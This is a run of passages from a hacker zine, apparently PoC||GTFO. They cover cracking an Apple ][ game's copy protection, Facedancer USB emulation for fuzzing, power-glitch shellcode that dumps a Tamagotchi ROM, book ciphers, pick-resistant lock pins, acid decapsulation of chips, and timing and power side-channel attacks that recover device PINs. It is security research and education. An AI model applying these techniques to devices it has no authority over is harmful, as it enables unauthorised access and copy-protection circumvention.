The fourth thing I noticed is that the graphics became cor-

rupted and then game crashed into text mode when starting

Level 7. The reason was the �nal layer of copy-protection, which

was executed after completing Level 1, but the e�ect was delayed

until the start of Level 7. Very nasty. ;-) I worked around that

one by bypassing the failure check.

Finally, I checked the rest of the �rebuilt from source� version.

The most important thing (depending on your point of view) was

that all of the hidden parts were missing�the hidden routines

(see page 228) and the hidden message (which was the decryp-

tion key for the original code). I also found that track $11 was
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memory, in which to place my loader and the read bu�er. This

was the location of the original loader for the game. I simply re-

placed it with my own. I needed a read bu�er within that region,

because I had to load the compressed data somewhere before de-

compressing it into its �nal destination. I wanted the read bu�er

to be as large as possible, in order to reduce the number of read

requests that I had to make. Shown in Figure 4.4, I managed to

�t the loader code and data into under 1,280 bytes: 752 bytes of

code, 202 bytes for the sector table, the rest was dynamic data.

That left me with 2,816 bytes for the read bu�er.

That space was so small that the write routine (for saving the

game after you reach side B) would not �t in memory at the

same time. To work around that problem, I separated the write

routine, and loaded and executed it dynamically when a save

request was made. It was discarded after it has done its job.

Back to the choice of compression.

I have written Apple ][ implementations for two well-known

algorithms: LZ4 and aPLib. I did not want to write another one,

so I was forced to choose between them. LZ4 was both fast and

small (my implementation was only 152 bytes long), but it did

not pack well enough. It had to be aPLib. aPLib packs well

(about 20kb smaller than LZ4), is fast enough when factoring

in the reduced number of sectors to read, and small. (My im-

plementation is only 228 bytes long, so less than one sector.)

Some of the sectors are read only individually, some of them

are read only as part of an entire track, and some of them are

read using both methods, depending on the context. Once I de-

termined how each of the sectors was loaded, I grouped them

according to the size of the read, and then compressed the re-

sulting block. I gave myself only two days total for the project,

but it ended up taking two weeks. Most of that time was spent
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a single-side version, though.7 ;-)

And Now for Dessert: Easter Eggs!

While digging through the game code, I found several hidden

routines. When playing side B, press �^� after completing a level

to see an animation of Jordan waving, press a key at the end to

view it again. In the Byte Bastards version, type �RAMROD� at

the crack page for a hidden message.

Before booting, hold both Apple keys, then press one of the

following to activate hidden modes.

DEL Only on //GS, displays an oscilloscope.

! Displays a message, and then a lo-res animation.

ENTER Continually draws a fractal, press ‘c’ to change colors.

@ Displays a bouncing, spinning cube.

^ Pulses the drive head.

Move joystick to change tone, sounds like a motorcycle.

Neighbors, is this not a tale of Shakespearean proportions and

passions? A young prince, a mystery of code broken by under-

handed blows in the dark, the poisoned daggers of copy-protection

that even perpetrators forgot about�all laid bare by a contrived

play of PoC! Is the Play the Thing, or is PoC the Thing, or are

they the Thing together? You decide! �PML

7As a point of interest, I experimented with concatenating the entire data
together, and including the sector o�set in the table. That decreased the
space quite signi�cantly, but at a cost of increasing the size of the code,
and making updating the data extremely di�cult. That version saved
over thirteen tracks on the �rst side, and over eighteen tracks on the
second side. However, this was still not enough for a single-side version.
In the end, it was not worth the e�ort, and it will not be released.
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4:5 A Quick Introduction to

the New Facedancer Framework

by Gil

The Facedancer is a nifty piece of hardware for USB emula-

tion, begun as a quick proof of concept by Travis Goodspeed and

Sergey Bratus at Recon 2012.

Recently, I rewrote the Facedancer’s software stack with the

goal of making it easier to write new emulators for both well-

behaved and poorly-behaved devices. In this post I’m going

to give an introduction to doing both. I assume you’ve got a

Facedancer board, python3, the pyserial library, and a current

revision of the code. I’ll start with a very brief overview of the

USB protocol itself, then show how to modify the existing USB

keyboard emulator code to emulate a di�erent (yet still well-

behaved) device, and �nally show how to take a well-behaved

device and make it misbehave in speci�c ways.

USB

The USB protocol de�nes a bunch of abstractions: Devices, Con-

�gurations, Interfaces, and Endpoints. Some of these terms are

a bit counterintuitive, understanding of which is not at all aided

by how they’re referred to by users.

A Device is a physical thing that gets plugged into a USB

port. A single physical device may present itself to the operating

system as multiple logical devices. (Think of a keyboard with

built-in trackpad or one of those annoying USB sticks that pre-

tends it’s both a USB mass storage device and a USB CD-ROM

so it can install adware.) In USB parlance, each of the logical

devices is not a Device, but rather an Interface. I’ll get to those

in a couple paragraphs.
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When a device is connected to a host, the host begins the enu-

meration process, in which it requests and the device responds

with a bunch of descriptors that describe how the device can

and/or wants to behave. The device presents to the host a set

of �con�gurations;� the host chooses exactly one of these and the

device, er, con�gures itself accordingly. But what’s a con�gura-

tion? It’s a set of interfaces!

An Interface is a single logical device as mentioned above: a

keyboard XOR a trackpad XOR an external hard drive XOR

an external CD-ROM XOR. . . From the perspective of writing

software emulators for these things, this architecture is actually

kinda helpful: we can write a single interface implementing a

keyboard and then include it in various device implementations.

Code reuse FTW.

Each interface contains multiple �endpoints,� which are the ac-

tual communication channels to and from the host. Only one

endpoint is required: endpoint 0 (EP0) is the bidirectional �con-

trol� endpoint, used for exchange of descriptors on connection

and optionally for asynchronous communication thereafter. (The

various ways a device and host can communicate are beyond the

scope of this post and, considering the tendency of device manu-

facturers to fabricate their own protocols to run over USB, prob-

ably intractable to cover in any single document. Your best bets

to gain understanding are either to fuzz it or to read the device

driver code.)

Endpoints other than EP0 are unidirectional so, in the case of

something like an external hard drive that needs to both send

and receive large amounts of data, the interface will de�ne two

endpoints: one for host-to-device (�OUT�) transfers and another

for device-to-host (�IN�) transfers.

Lastly, the USB protocol (up to and including USB 2.0) is

�speak when spoken to�: all device communication is initiated by
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Way at the bottom of USBKeyboardDevice.py, you’ll �nd the

de�nition for the USBKeyboardDevice class. It’s fairly short: we

de�ne a single con�guration (notice the con�gurations are num-

bered from 1) that contains a single interface, then we send that

con�guration on to the superclass initializer along with a bunch

of magic numbers. These magic numbers are primarily used by

the host operating system to �gure out which driver to use with

the attached device. From the Facedancer side, however, the key-

board functionality is implemented in the USBKeyboardInterface

class, which takes up most of the �le. Scroll back up to the top

and look at that now.

The hid_descriptor and report_descriptor are hard-coded

as opaque binary data speci�c to HID devices. (I may abstract

away their details at some point, but it’s not a particularly high

priority.) In __init__, there’s a dictionary mapping descrip-

tor ID numbers to the actual descriptor data, which is sent to

the superclass initializer. (I’ll get into more detail on this in

the section on misbehaving devices.) Also in __init__, a single

USBEndpoint is instantiated, which includes a callback (self.-

handle_buffer_available).

Remember that the device never initiates a data transfer: the

host will ask the device if it has any data ready. If it doesn’t, the

device (in our case, the MAX3420 USB chip on the Facedancer

board itself) will respond with a NAK; if it does have data ready,

the device will send the data on up. Thus whenever the host asks

for data for this particular endpoint, the callback will be invoked.

(�Whenever� is a bit misleading because the host will likely send

polls faster than we can deal with them, but it’s close enough for

the time being.)

The handle_buffer_available method calls type_letter,

which sends the keypress over the endpoint. (This abstraction

as it stands right now is messy and is high on my list to �x�
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If you want your custom misbehaving device to do weird stu�

for every incoming request, override the USBDevice.handle_re-

quest method. If, on the other hand, you’re looking to mess with

just descriptors for a speci�c abstraction, you’re better o� over-

riding the get_descriptor method of the USB* classes. If you

want to send non-standard responses to any of the other con-

trol messages (eg, CLEAR_FEATURE, GET_STATUS, etc),

you should override the associated handle_*_request method

of USBDevice. (Note that USBDevice.handle_request is the

method that dispatched to the handle_*_request methods.)

Each of the top-level USB* classes (USBDevice, USBConfig-

uration, USBInterface, and USBEndpoint) has a self.descrip-

tors member that maps from descriptor number to a descriptor

or a function that returns a descriptor. Thus you are not con-

strained to hard-coding values, you can instead provide a function

that creates whatever descriptor you want sent.

To make a somewhat less-long story short, modifying an emu-

lated device to misbehave should be similarly straightforward.

1. Subclass whichever of USBDevice, USBConfiguration, USB-

Interface, or USBEndpoint contains the behavior you want

to modify.

2. Override the descriptor dictionary in your subclass to

change what descriptors get sent in response to requests.

3. Override the handle_*_request methods in your subclass

of USBDevice to change how your device responds to indi-

vidual requests.

4. Over the USBDevice.handle_request method to change

how your device responds to all requests.

Happy fuzzing!
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guaranteed to execute in a �nite amount of time9 with unde�ned

behaviour, so they also will not stop execution. Together, these

properties make it very unlikely that execution will ever stop on

a 6502 processor, giving shellcode a lot of chances to get executed

in the case that the program counter is corrupted.

Another useful feature of this particular microcontroller is that

the RAM starts at address zero, and the lowest hundred bytes or

so of RAM is used by the SPU and is often zero. In 6502, zero

is the opcode for BRK, which acts like NOP if a debugger is not

attached, so this RAM could potentially act as a NOP slide. In

addition, in the Tamatown Tama-Go (and I assumed the Tam-

agotchi Friends), the EEPROM is copied to address 0x300, which

is still fairly low in RAM addresses. So if the program counter

got set to zero, there is a possibility it could slide through RAM

up to the EEPROM. Of course, not every value in RAM before

0x300 is zero, but if enough are, it is likely that the other values

will be interpreted as instructions that don’t alter the program

counter’s course some portion of the time.

Since setting the program counter to zero seemed especially

likely to cause code execution, I started by glitching the input

power, as this had the potential to clear the program counter.

The Tamagotchi Friends has three types of volatile memory: reg-

isters like the program counter, DPRAM (used for the LCD) and

SRAM. DPRAM and SRAM both have fairly long persistence

after they stop being powered, so I hoped if I cut the power to

the microcontroller for a short period of time, it would corrupt

the registers, but not the RAM, and resume execution with the

program counter at address zero.

I tried this using an Arduino to switch the power on and o�

9A few people have mentioned to me that there are some 6502 processors
for which this is not true, but this is de�nitely the case for GeneralPlus
controllers.
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at di�erent speeds. For very fast speeds, the Tamagotchi didn’t

react at all, and for very slow speeds, it would reset every cycle. I

eventually settled on cycling every �ve milliseconds, which had a

visible erratic impact on the Tamagotchi after each cycle. At this

rate, the toy was displaying an unexpected image on the LCD,

corrupting the LCD, playing Yankee Doodle or screeching loudly.

I �lled up the EEPROM with a large NOP slide and some code

that caused a write to the LCD screen, reset the Tamagotchi so

the EEPROM was downloaded into RAM, and cycled the power.

Roughly one out of every ten times, the code executed and wrote

the LCD.

I then moved the code around to �gure out the size of the

available code bu�er. Two things limited the size. One is that

only a small part of the EEPROM is copied into RAM at once,

and the rest is only loaded if needed. The second is that some

EEPROM addresses are validated. For some of these addresses,

containing very critical values, the EEPROM is wiped immedi-

ately if the Tamagotchi detects an invalid value. These addresses

couldn’t be used for code at all. Some other less critical values

get overwritten if they are invalid. For example, if a Tamagotchi

is a child, but is married, the �is married� �ag will be reset to the

correct value. These addresses could be changed, but there was

no guarantee they would stay the correct value, so I ended up

jumping over them. This left exactly 54 bytes for code. It was

tight, but I was able to write code that dumped the ROM over

SPI through the Tamagotchi buttons in that space
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The code begins at 341 and ends at 376, which are the bounds

of the bu�er copied from the EEPROM. The surrounding values

are typical values of the surrounding RAM which are not con-

sistent across each time code is executed. The 0x03 before the

beginning of the code is written after the bu�er, and is an unde-

�ned instruction in 6502. Unfortunately, this means that there

isn’t room for any NOP sled, the program counter needs to end

up at exactly the right address.

One useful feature of this shellcode is that the �rst seven in-

structions aren’t strictly necessary! The registers are often the

right value, or an acceptable value by chance, which gives the

program counter a bit more leeway in the case that it jumps a

bit beyond the beginning of the code.

I dumped all thirty-two pages of ROM using this shellcode,

and they appear to be accurate. Figure 4.5 shows the highlights

of the dump, sorted by cuteness in descending order.
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They have agreed to start their running key on the �rst line of

the book, which reads:

Every rational creature, being of an imperfe�

and dependant Happiness, is therefore naturally

endowed with an Ability to communicate its

own Thoughts and Intentions ; that so by mu-

tual Services, it might better promote it self in

the Prosecution of its own Well-being.

�

�

The encryption algorithm is then very simple: Each character

from the running key is used as a rotation to permute the asso-

ciated character of the plaintext. For example, say that the �rst

character of our plaintext is �A�; we would take the �rst charac-

ter of our running key, �E�, look up its numerical index in the

alphabet, and rotate the plaintext by that much to produce the

ciphertext.

Plaintext: AN ADDRESS TO THE SECRET SOCIETY OF POC OR GTFO: : :

Running Key: EV ERY|RATI ON AL|C REATUR E|BEING|O F|A N|IM PE RFEC: : :

Ciphertext: EI EUBIELA HB TSG JICKYK WPGQRZM TF CWO DV XYJQ: : :

There are of course many other ways the plaintext could be com-

bined with the running key, another common choice being XOR-

ing the bits. If the running key is truly random then the re-

sult will almost always be what is called a �one-time pad� and

will have perfect secrecy. Of course, my expository example is

nowhere near secure since I preserved whitespace and used a run-

ning key that is nowhere near random. But, in practice, this type

of cryptosystem can be made very secure if implemented prop-

erly.
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Book Ciphers

Perhaps the most basic type of cryptosystem�one that we’ve

all likely independently discovered in our early childhood�is

the substitution cipher: Each letter in the alphabet is stati-

cally mapped to another. The most common substitution cipher

is ROT13, in which the letters of the alphabet are rotated 13

steps.

a b c d e f g h i j k l m n o p q r s t

o p q r s t u v w x y z a b c d e f g h

In fact, we can think of the running key cipher we described above

as a sort of substitution cipher in which the alphabet mapping

changes for each byte based o� of the key.

Book Ciphers marry some of the ideas of substitution ciphers

and running key ciphers. First, Alice and Bob decide on a shared

secret, much like the book they chose as a running key above. The

shared secret needs to have enough entropy in order to have at

least one instance of every possible byte in the plaintext. For each

byte in the shared secret, they create a lookup table mapping all

256 possible bytes to lists containing all indices (i.e., �le o�sets)

of the occurrences of that byte in the secret:

with open( secret_key_file ) as s:

2 indexes = dict ([(b, []) for b in range (256) ])

for i, b in enumerate (map(ord ,s.read ())):

4 indexes [b]. append (i)

Then, for each byte encountered in the plaintext, the ciphertext

is simply the index of an equivalent byte in the secret key:

def encrypt ( plaintext , indexes ):

2 for b in map(ord , plaintext ):

print random . choice ( indexes [b]) ,

250



http://www.ebook3000.org


4 Tract de la SociØtØ SecrŁte

Given a set of plaintexts P = fp1; p2; : : : ; png and a set of keys

K = fk1; k2; : : : ; kng, we want to �nd a ciphertext c such that

decrypt(c,ki) 7! pi for all i from 1 to n. To accomplish this,

let’s consider an individual byte within each of the plaintexts

in P . Let pi[j] represent the jth byte of plaintext i. Similarly,

let’s de�ne ki[j] and c[j] to refer to the jth byte of a key or

the ciphertext. In order to encrypt the �rst byte of all of the

plaintexts, we need to �nd an index m such that ki[m] = pi[0]

for i from 1 to n. In general, c[‘] can be any unsigned integer m

such that

8i 2 1; : : : ; n : ki[m] = pi[‘]:

We can relatively e�ciently �nd such an m by modifying the way

we build the indexes lookup table:

1 def build_index ( secret_keys ):

indexes = {}

3 for i, key_bytes in enumerate (zip (* secret_keys )):

key_bytes = tuple (map(ord , key_bytes ))

5 if key_bytes not in indexes :

indexes [ key_bytes ] = [i]

7 else:

indexes [ key_bytes ]. append (i)

9 return indexes

Encryption then happens similarly to the regular book ciper:

1 def encrypt ( plaintexts , secret_keys ):

indexes = build_index ( secret_keys )

3 for text_bytes in zip (* plaintexts ):

text_bytes = tuple (map(ord , text_bytes ))

5 print random . choice ( indexes [ text_bytes ]) ,

Decryption is identical to the regular book cipher.

So, in fewer than twenty lines of Python, we have coded a PoC

of a cryptosystem that allows us to do the following:

1 encrypt (

[open(" plaintext1 ").read () , open(" plaintext2 ").read ()],

3 [open("key1").read () , open("key2").read () ])
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by lenticular book ciphers, enabling its use in our motivating

scenarios.

Laws and contracts aren’t interpreted like computer programs;

legal decisions are often dictated less by the defendant’s actions

than by his or her intent. In other words, if it appears that Alice

intended to send Bob a copy of Video Falconry, she will be found

guilty of piracy, regardless of how she conveyed the software.

But what if Alice legitimately only knew that key k1 decrypted

c to a picture of cats, and didn’t know of its nefarious use to

produce a copy of Video Falconry from k2? How likely would it

be for k2 to produce Video Falconry simply by coincidence?

For sake of this analysis, let’s assume that the keys are doc-

uments written in English. For example, books from Project

Gutenberg could be used as keys. I am also going to assume that

each character in a document is an independent random variable.

This is a rather unrealistic assumption, but we shall see that the

asymptotic properties of the problem make the issue moot. (This

assumption could be relaxed by instead applying LovÆsz’s local

lemma.)12

First, let’s tackle the problem of �guring out the probability

that decrypt(c,k2) 7! p2 completely by chance. Let n be the

length of the documents in characters and let m < n be the

minimum required length of a string for that text to be considered

a copyright violation (i.e., outside of fair use). The probability

that decrypt(c,k2) contains no substrings of length at least m

from p2 is

(1 � qm)
(n�m+1)

;

12Paul Erdfis and LÆszló LovÆsz. Problems and results on 3-chromatic hy-
pergraphs and some related questions. In�nite and �nite sets (Colloq.,
Keszthely, 1973; dedicated to Paul Erdfis on his 60th birthday), Volume
II, North-Holland, Amsterdam, 1975, pp. 609�627. Colloq. Math. Soc.
JÆnos Bolyai, Volume 10.
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4:8 Hardening Pin Tumbler Locks

against Myriad Attacks

for Less Than a Sawbuck

by Deviant Ollam, Merchant of Dead Locks

In 1983, the renowned locksmith and physical security icon

Gerry Finch submitted a brief article to Keynotes magazine, a

publication of the Associated Locksmiths of America. In it, he

described why it was his belief that serrated pins within a lock

were superior to spool pins, mushroom pins, or any other kind

of manipulation-resistant pins commonly-used in locks. Despite

being very popular and well-received at the time, such wisdom

appears to have faded away somewhat among locksmithing cir-

cles. This article is a re-telling of Finch’s original advice with

updated diagrams and images, in the hopes that folk might re-

alize that some of the old ways are often still some of the best

ways of doing things.

Pick-resistant pins are designed to interfere with the most com-

mon methods of attacking pin tumbler locks. Conventional op-

eration of a lock involves �rst pushing the pin stacks to their

appropriate positions and then turning the plug. Lockpicking,

however, is performed by �rst applying turning pressure to the

plug, then�subsequent to that�the pushing of the pins stacks is
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Figure 4.6: Tray of S-Pins from LAB.
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from cursory inspection) but it a�ords one the opportunity to

install hardened anti-drill pins in that front chamber.

Gerry Finch suggested that course of action, as well. He also

cautioned locksmiths against working a tapping tool too deeply

in each chamber. He recommends a maximum of three turns per

chamber, no more.

Finch’s ideas proved so e�ective, and locks prepared in this

manner tend to be so resistant to against even dedicated attacks,

that the LAB company started including a 6/32� tap in some of

their S-pin kits. But perhaps a little surprisingly, after all these

years the practice has become so uncommon that few locksmiths

with whom I have spoken nowadays even know what the tap tool

is for.
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Gerry Finch was a legend in the lockpicking and

locksmithing community, developing tools, tech-

niques, instructional courses, and published works

throughout his career. A veteran of the US Air

Force (ret 1964) he also worked with the US Army

Technical Intelligence Center teaching their De-

fense Against Methods of Entry course. Finch is the recipient

of the Locksmith Ledger’s Hall of Fame Award, The California

Locksmith Association’s Golden Key Award, Associated Lock-

smiths of America’s President’s Award, the Lee Rognon Award,

the Gerald Connelly Pioneer Award, and the Philadelphia Award.

He retired o�cially in 1996, but I still wouldn’t want to go head-

to-head with him in a picking contest.
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they work well enough, but be careful not to let your cleaning

solvents dissolve their exposed plastic.

Finally, you will need a source of regulated heat. At this point,

you’re probably itching to strike o� a Bunsen burner, but those

are really a terrible choice. Instead, I use a cheap SMD rework

soldering station, the Aoyue 850A. By turning the air�ow near

maximum and slowly raising the temperature, I can heat the test

tube to a consistent temperature.

Chemistry Procedure

Your sample should be the smallest package of the target chip

you can purchase. For a speci�c example, the Texas Instruments

MSP430F2012 is available as PDIP (Plastic Dual Inline Package)

and QFN (Quad Flat No-leads) among other packagings. While

this procedure works for either, the QFN package is much smaller

and has less plastic to be etched away, so it will consume far less

of your nitric acid.

Begin by connecting the clamp to your ring stand as shown

in Figure 4.8, with the SMD rework station’s wand held just

beneath the bottom of where the test-tube will be. Do not turn

on the heat yet.

Place the chip into the test-tube with enough nitric acid to

cover the chip and optionally add just a splash of sulfuric acid

to make it attack the plastic instead of the bonding wires. For

safety reasons, you will very quickly learn to do this while the

glass is cold, just as you will very quickly and rather painfully

learn that cold glass looks exactly like hot glass.

Place the test tube into the clamp. The tube should be slightly

tilted, with the bottom closer to you than the top so that any

explosive eruptions of boiling acid go away from your face.

With the chip covered in acid, turn the SMD rework station
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Figure 4.9: HNO3 under re�ux. It’s important that the vapor

column not rise above the lip of the test tube.
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So now that you know better than to stick your �ngers into the

beaker of acid, use tweezers to carefully lift the die out of the acid

and drop it into a second beaker of acetone. This beaker�the

acetone beaker�goes into the ultrasonic bath for a few minutes.

At this point the die will be partially exposed with a bit of gunk

remaining, but sometimes larger chips will still be covered.

For best quality, the HNO3 should be repeated until very little

of the gunk is left, then a bath of only H2SO4 will clean o� the

last bits before photography.

These two acids are very di�erent chemicals, and you will �nd

that the H2SO4 bath behaves nothing like the HNO3 baths you’ve

previously given the chip. H2SO4 has a much higher boiling point

than HNO3, but it’s also e�ective against the chip packaging well

beneath its boiling point. You will also see that instead of �aking

o� the packaging, H2SO4 dissolves it, taking on an ink-black color

through which you won’t be able to see the sample.

After the �nal H2SO4 bath, give the chip one last trip through

the ultrasonic cleaner and then it will be ready to photograph.

Photographic Equipment

Now that you’ve got an exposed die, it’s time to photograph it.

For this you will need a metallurgical microscope, meaning one

that gives an image by re�ected rather than transmitted light.

Microscope slides work for samples, but they aren’t really nec-

essary, because no light comes up from the bottom of a metal-

lurgical microscope anyways. Small sample boxes with a sticky

surface are handier, as they are less likely to be damaged in a fall

than a case full of glass microscope slides.

For photographing your chip, you can either get a microscope

camera or an adapter for a DSLR. Each of these has its advan-
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tages, but the microscope cameras are very often just cheap we-

bcams with awkward Windows-only software, so I go the DSLR

route. Through either sort of camera, you can take individual

photos like the one in Figure 4.10.

Photographic Procedure

Whichever sort of camera you use, you won’t be able to �t the

entire chip into your �eld of view. In order to get an image of the

whole chip, you must �rst photograph it piecemeal, then stitch

those photos together with panorama software.18

Begin at a known corner of the chip and take a series of pho-

tographs while moving in the same direction and keeping the top

layer of your sample in focus. Each photograph should overlap

by roughly a third its contents with the image before and after

it, as well as those on adjacent rows. Once a row has been com-

pleted, move on to the next row and move back in the opposite

direction.

Once you have a complete set of photos, load them in Hugin

on a machine with plenty of RAM. Hugin is a GUI frontend to

Panorama Utilities, and it allows you to correct mistakes made

by those tools if there aren’t too many of them.

Hugin will do its best to align the pictures for you, and its

result is either a near-perfect rendering or a misshapen mess. If

the mess is from a minor mistake, you can correct it, but for

serious errors such as insu�cient overlap or bad focus, you will

need to do a new photography session. With plenty of overlap, it

sometimes is enough to simple delete the o�ending photographs

and let the others �ll in that part of the image.

18For fancy things like recovering gates in delayered chips, more sophisti-
cated software is needed, but panorama software su�ces when only the
top layer is being photographed.
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Figure 4.11 shows the complete, but reduced resolution, die

photograph that I took of the Clipper Chip. This was built from

1,475 surface photographs that were stitched together by Hugin.

Further Reading

While you should get a proper chemistry education for its own

sake, textbooks on chemistry as written for chemists don’t cover

these sorts of procedures. Instead, you should pick up books on

Failure Analysis, which can double as co�ee table books for their

nifty photographs of disassembled electronics.

After mastering surface photography, there are all sorts of av-

enues for continuing your new hobby. Using polishing equipment

or hydro�uoric acid, you can remove the layers of the chip in or-

der to photograph its internals. The neighbors at the Visual6502

project took this so far as to work backward from photographs

to a working gate-level simulation in Javascript!

Additionally, you can decap a chip while it’s still functional to

provide for invasive or semi-invasive attacks. For invasive attacks,

take a look at Chris Tarnovsky’s lectures, as he’s an absolute

master at sticking probe needles into a die in order to extract

�rmware. Dr. Sergei Skorobogatov’s Ph.D. thesis describes a

dozen tricks for semi-invasively shining lasers into chips in order

to extract their secrets, while Dmitry Nedospasov’s upcoming

thesis is also expected to be nifty.

Neighborly thanks are due to Andrew Q. Righter and everyone

who was polite enough not to yell at me for the die photos that

I posted with improper exposure or incomplete decapsulation.

Cheers from Samland,

�Travis
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A PIN-Protected Hard Drive

Let’s look at a PIN-protected hard drive enclosure, which the

vendor describes as a �portable security enclosure with 6 digit

password.� This enclosure formats the hard drive into two parti-

tions, the Public partition and the secured Vault partition. The

security of the Vault is entirely given by sacrilegious changes to

the partition table, such that if you remove the hard disk from

the enclosure and plug into a computer the OS won’t recognize

the disk, thinking it tainted. The data itself is still there however.

The PCB contains four ICs of particular interest: a Mar-

vell 88SA8040 Parallel ATA to Serial ATA bridge, a JMicron

JM20335 USB to PATA bridge, a WareMax WM3028A (no pub-

lic information), and an SST 39VF010 �ash chip connected to

the WM3028A. There’s also a number of discrete logic gates in-

cluding two 74HCT08D AND devices and one 74HC00D NAND

device. These logic gates are used to multiplex multiple parts

from apparently limited IO pins of the WM3028A. It would ap-

pear that the system passes the Parallel ATA data through the

WM3028A chip, which is presumably some microcontroller-based

system responsible for �xing reads of the partition table once the

correct password is put in.

The use of discrete logic chips for multiplexing IO lines ulti-

mately makes our life easier. In particular one of the 74HCT08D

chips, U10, provides us with a measurement point for determin-

ing when the password has failed the internal test.

Pin 3 of the switch is the multiplexing pattern from the micro-

controller. Remember we must determine when the microcon-

troller has read the pin, not simply when the user pushed the

pin. Knowing that this button was pressed, and thus caused the

�Wrong PIN� LED to come on, we can measure the time between

when the microcontroller has read in the entire PIN and when
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the LED goes on.

We then break the system one digit at a time by measuring the

time after the last button is pressed. First we enter 0-6-6-6-6-6,

then 1-6-6-6-6-6, 2-6-6-6-6-6, etc. The delay between reading the

button press and displaying the LED will be shortest if the �rst

digit is wrong, longer if the �rst digit is right. A moving-picture

version of this is available on the intertubes.19

An example of the oscilloscope capture of this is shown in Fig-

ure 4.13, where the correct password is 1-2-3-4-5-6. Note the

jump in time delay between 0-6-6-6-6-6 and 1-6-6-6-6-6. This

continues for each correct digit. Thus for a 6-digit pin, we guess

only a worst case of 10 � 6 = 60 attempts, instead of the million

that would be required for brute-forcing the full pin.

TinySafeBoot for the Atmega328P

But what if the clever developer decided to not tell the user when

they’ve entered a wrong password? A security-conscious boot-

loader might wish to avoid being vulnerable to timing attacks,

but is attempting to avoid adding hash code for size reasons.

An example of this is pulled from a real bootloader which has a

password feature. When a wrong password is entered jumps into

an endless loop, e�ectively avoiding providing information that

would be useful for a timing attack.

In particular, let’s take a look at TinySafeBoot, which is a

very small bootloader for most AVR microcontrollers.20 This

wonderful bootloader has many features, such as using a single

IO pin, auto-calibrating baud rate, and automatically build a

bootloader image for you. And, as already mentioned, it contains

a password feature.

19http://tinyurl.com/pintiming
20http://jtxp.org/tech/tinysafeboot_en.htm.
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Figure 4.14: Above is correct. Below is a mismatch.

But compare the measurements of the power signatures shown

in Figure 4.14, which is the bootloader running on an AtMega328P.

The correct password is {0x61, 0x52, 0x77, 0x6A, 0x73}. If

we measure the power consumption of the device, we observe

clear di�erences between the correct and incorrect guesses. This

can be done by using a resistor in-line with the microcontroller

power supply, such as by lifting a TFQP package pin.

The code for the password feature looks as in the following

listing. Note when you receive an incorrect character the system

jumps into an in�nite loop at the chpwl label, meaning a reset is

required to try another password.
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make a probe for a pretty low cost, so it’s a worthwhile invest-

ment!

In terms of physically pulling this o�, the easiest option is to

build a breadboard circuit with the AVR and a resistor inserted

in the power line. Be sure to have lots of decoupling after the

resistor, which will give you a much cleaner signal. If you’re

looking to use an existing board, you can make a �cheater� socket

with a resistor inline, as in Figure 4.15, which was designed for

an Arduino board.

Real devices are likely to be SMD. If you’re attacking a TQFP

package, you might �nd it easiest to lift a lead and insert a 0603

or 0402 resistor inline with the power pin. You might wish to �nd

a friendly neighbour with a steady hand and a stereo microscope

for this if you aren’t of strong faith in your soldering!

����

Thus when attacking embedded systems, the timing attacks of-

ten present a practical entry method. Be sure to carefully inspect

the system to determine the ‘correct’ measurement you need to

use, such as measuring the point in time when the microcontroller

reads an I/O pin, not simply when an external event happens.

When designing embedded systems, store the hash of the users

password, lest ye be embarrassed by breaks in your device.
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